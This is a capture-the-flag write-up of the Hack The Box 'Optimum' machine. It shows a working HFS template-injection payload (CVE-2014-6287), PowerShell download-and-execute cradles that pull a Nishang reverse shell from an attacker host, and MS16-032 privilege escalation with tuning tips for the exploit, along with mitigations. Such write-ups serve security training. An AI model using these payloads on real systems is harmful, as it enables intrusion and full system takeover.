Summary
The reconstruction below was correct in shape; the section Gotchas I hit on the live box records the practical traps not covered by 0xdf/IppSec.
Optimum is a two-step Windows Easy with a teaching beat about
architecture mismatch in Windows post-exploitation. The foothold is
CVE-2014-6287, a template-injection / null-byte parser bug in Rejetto
HttpFileServer (HFS) 2.3 that lets an attacker invoke an arbitrary command
via a crafted search query parameter. The privesc is MS16-032
(CVE-2016-0099), a kernel-mode TOCTOU in seclogon.dll that the public
PowerShell port of Invoke-MS16-032 automates into a SYSTEM shell.
The non-obvious step is the migration from a 32-bit shell to a 64-bit
shell before running the kernel exploit. HFS is a 32-bit binary, so the
PowerShell session it spawns is also 32-bit; the public MS16-032 port
ships 64-bit shellcode and fails silently against a 32-bit caller. The
fix is to re-launch the session under
%WINDIR%\sysnative\WindowsPowerShell\v1.0\powershell.exe (the magical
sysnative redirection lets a 32-bit process invoke a 64-bit binary
without WoW64 confusion). That detail is the most commonly cited
“why didn’t this work” gotcha for Optimum.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Optimum”. Primary source. Walks the CVE-2014-6287 trigger, the PowerShell IEX download via the Nishang one-liner, the Sherlock/Watson kernel-vuln enumeration, the 32-bit-vs-64-bit migration, and the MS16-032 PowerShell port that lands SYSTEM.
- IppSec, “Optimum” video walkthrough.
- ExploitDB 39161 (public Python PoC for CVE-2014-6287).
- FuzzySecurity / khr0x40sh, “Sherlock”, the PowerShell tool used to enumerate missing patches.
- Empire /
Invoke-MS16-032PowerShell port — by FuzzySecurity.
Recon
nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open http HttpFileServer httpd 2.3
Single port. The banner is the entire fingerprint: HFS 2.3 is the explicit string in the version exposure, and 2.3 has a public preauth RCE. There is no version-table guessing required.
The HFS landing page renders a directory-tree-style file browser
that’s recognizable on sight. The ?search= parameter on any HFS
URL is the canonical injection point.
Foothold — CVE-2014-6287 (HFS template injection)
HFS templates use a {.something.} syntax for built-in commands:
{.exec|<cmd>.} runs an arbitrary external command, {.if.}
implements conditionals, etc. The template engine’s intent is that
only HFS-side templates trigger the syntax — but the parser also
processes templates inside search= query values, and a leading
null byte (%00) prevents HFS’s filter from rejecting {.exec.}
in the user input.
The minimal trigger:
GET /?search=%00{.exec|<command>.} HTTP/1.1
Public Python PoC (ExploitDB 39161) wraps this. The standard
follow-on is to download a Nishang PowerShell reverse shell from
the attacker’s host and pipe it into Invoke-Expression:
# attacker — host the reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./shell.ps1
# add a trailing call to fire the function:
echo 'Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER> -Port 4444' \
>> shell.ps1
python3 -m http.server 80
nc -lvnp 4444
Trigger:
GET /?search=%00{.exec|powershell -c "IEX(New-Object Net.WebClient).
DownloadString('http://<ATTACKER>/shell.ps1')".}
(The actual exploit runs through the PoC, which URL-encodes the payload correctly — using a browser by hand requires careful URL-encoding of the curly braces.)
A few HFS handler reloads later (the exploit fires the
?search= request multiple times because HFS’s parser is racy
and consumes the template more than once), the attacker catches a
PowerShell session as kostas.
User flag
kostas owns the foothold; user.txt is on his Desktop:
PS C:\Users\kostas\Desktop> type user.txt
Unlike Granny/Grandpa, Optimum hands the user flag at the foothold step. No lateral move is needed for user.
Privilege escalation — MS16-032 (with the 32-bit gotcha)
Sherlock is the PowerShell tool of choice for enumerating local kernel-mode privesc candidates. Drop it onto the target the same way as the reverse shell:
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Sherlock.ps1')
Find-AllVulns
Sherlock’s output on Optimum lists three plausible candidates
(MS16-032, MS16-034, MS16-135) and marks them “Appears
Vulnerable” against the systeminfo data. MS16-032 is the
reliability winner — its public PowerShell port is robust and
takes a -Command parameter so it can spawn an arbitrary
follow-on rather than only an interactive cmd window.
The naive run fails:
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Invoke-MS16-032.ps1')
Invoke-MS16-032 -Command 'iex (iwr http://<ATTACKER>/shell.ps1)'
# returns silently or yields no SYSTEM session
The reason is that the HFS-spawned powershell.exe is 32-bit
(HFS itself is 32-bit, so its child process inherits architecture
without explicit override). The MS16-032 port’s payload assumes a
64-bit caller. Migrate first:
$nat = "$env:WINDIR\sysnative\WindowsPowerShell\v1.0\powershell.exe"
& $nat -NoP -W Hidden -Exec Bypass -Command @'
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Invoke-MS16-032.ps1');
Invoke-MS16-032 -Command 'iex (iwr http://<ATTACKER>/shell-system.ps1)'
'@
%WINDIR%\sysnative is a virtual directory the WOW64 subsystem
exposes only to 32-bit processes; it routes to the actual
64-bit System32 (which 32-bit code would otherwise see as
the redirected SysWOW64). Spawning sysnative\powershell.exe
re-enters a 64-bit interpreter where MS16-032’s shellcode
matches the host’s word size.
The follow-on shell-system.ps1 is another Nishang
Invoke-PowerShellTcp instance pointing at port 4445. It lands
as SYSTEM:
PS C:\Windows\system32> whoami
nt authority\system
root.txt is at C:\Users\Administrator\Desktop\root.txt.
Why each step worked
- HFS template parser inside user input: the parser’s
designers expected templates only inside HFS-internal
templates, but the same parser is invoked on
search=values. The null-byte prefix slips past the input filter that was added in a later patchset and lets the parser see the template syntax in its intended evaluator. - PowerShell IEX as a download-and-execute primitive: the
Nishang reverse shell is a single PowerShell function; piping
the script body through
Invoke-Expressionruns it without ever writing a file to disk. This is one of the most durable Windows TTPs precisely because it requires no on-disk payload. - MS16-032 race in
seclogon.dll: the secondary logon service handles non-interactiverunas-style logons. The service’s reference-count logic on the input handle is TOCTOU: between check and use, an attacker thread can duplicate the handle into a different security context, effectively running the secondary logon under the attacker’s control. sysnativeredirection: WoW64 routes 32-bitsystem32-related accesses toSysWOW64. Thesysnativealias is the documented escape hatch that 32-bit code can use to actually reach 64-bitsystem32. Knowing it exists is the whole gotcha.
Counterfactuals
- Upgrade HFS to 2.3m (the patched version) — though Rejetto’s development effectively stalled in 2014 and the project has not been actively maintained.
- Don’t expose HFS to the internet. It is a developer tool, not a hardened web server.
- Apply MS16-032 (March 2016 patch). On EOL hosts it is essentially never installed, which is why this still appears on Easy boxes.
- Run the IIS/HFS process under a low-privilege account
without
SeImpersonatePrivilege; if a SYSTEM step requires a kernel exploit anyway, removing the impersonation privilege at least raises the bar.
Gotchas I hit on the live box
Three issues delayed me past where the public writeups suggest the box should fall, all worth recording because they are silent failures — HFS executes the macro and returns success, the exploit script prints its progress, but nothing actually lands.
-
URL-encode the macro payload with
quote(safe=''), notquote_plus(). Form-encoding spaces as+is the obvious choice for a query string, and Metasploit’srejetto_hfs_execusesURI::encode_www_form_componentwhich does exactly that. Against the actual Optimum HFS instance the+form silently fails — the PowerShell child either never spawns or gets a mangled command line that exits before doing any I/O. Switching tourllib.parse.quote(..., safe='')(every space becomes%20) fixed it. Worth a tcpdump ontun0to a unique URL path; if the box hits your HTTP server with%20form but never with+form, that’s the same bug. -
HFS exec discards stdout.
{.exec|whoami.}reflects a single space in the search-result page, notoptimum\kostas. That made me chase “is the macro even running” rabbit holes for ~10 minutes. The faster confirmation is{.add|1|1.}, which reflects the literal2in the search input value attribute — proves template eval works without depending on whether HFS captures child-process stdout. -
Invoke-MS16-032’s default 10-second race window is too short when you patch the spawn target. The unmodified script spawnscmd.exewith an empty command line, which is fast. If you change theCreateProcessWithLogonWcall to spawnpowershell -EncodedCommand <long>(the natural way to pipe a reverse shell straight into the SYSTEM process), each spawn takes long enough that the race rarely wins inside 10s. Two fixes that both work: (a) bump$SafeGuard.ElapsedMilliseconds -lt 10000to 30000 (30 s); (b) keeplpApplicationName = "C:\Windows\System32\cmd.exe"and put the heavy command inlpCommandLineascmd.exe /c powershell ...—cmd /cspawns fast, then dispatches PowerShell from inside the already-SYSTEM child. I ended up with both fixes in place; only the 30 s window matters for reliability.Also worth noting:
lpApplicationName = $nullwith the full command line inlpCommandLine(the documented Win32 form for “let-the-system-parse-the-cmdline”) consistently failed underCreateProcessWithLogonWhere. SettinglpApplicationNameto a real exe path was required.
Key Takeaways
- The foothold-architecture gotcha is the most-frequently-cited
reason newcomers fail Optimum. Always check
[System.Environment]::Is64BitProcessearly and migrate to 64-bit before running kernel exploits. - Sherlock’s output on a Windows 7/2008-era host is more
signal than noise — it cross-references the
systeminfopatch list against a known-vuln database. Use it before Watson/Empire’s local_exploit_suggester equivalents on PowerShell-friendly hosts. - HFS template injection (CVE-2014-6287) is one of the most reliable single-shot preauth Windows RCEs in the public exploit catalog. Always check for HFS in a Windows port scan; the version banner is unambiguous.
References
- 0xdf, “HTB: Optimum”
- IppSec, “Optimum”
- ExploitDB 39161 (CVE-2014-6287)
- Sherlock
- FuzzySecurity,
Invoke-MS16-032PowerShell port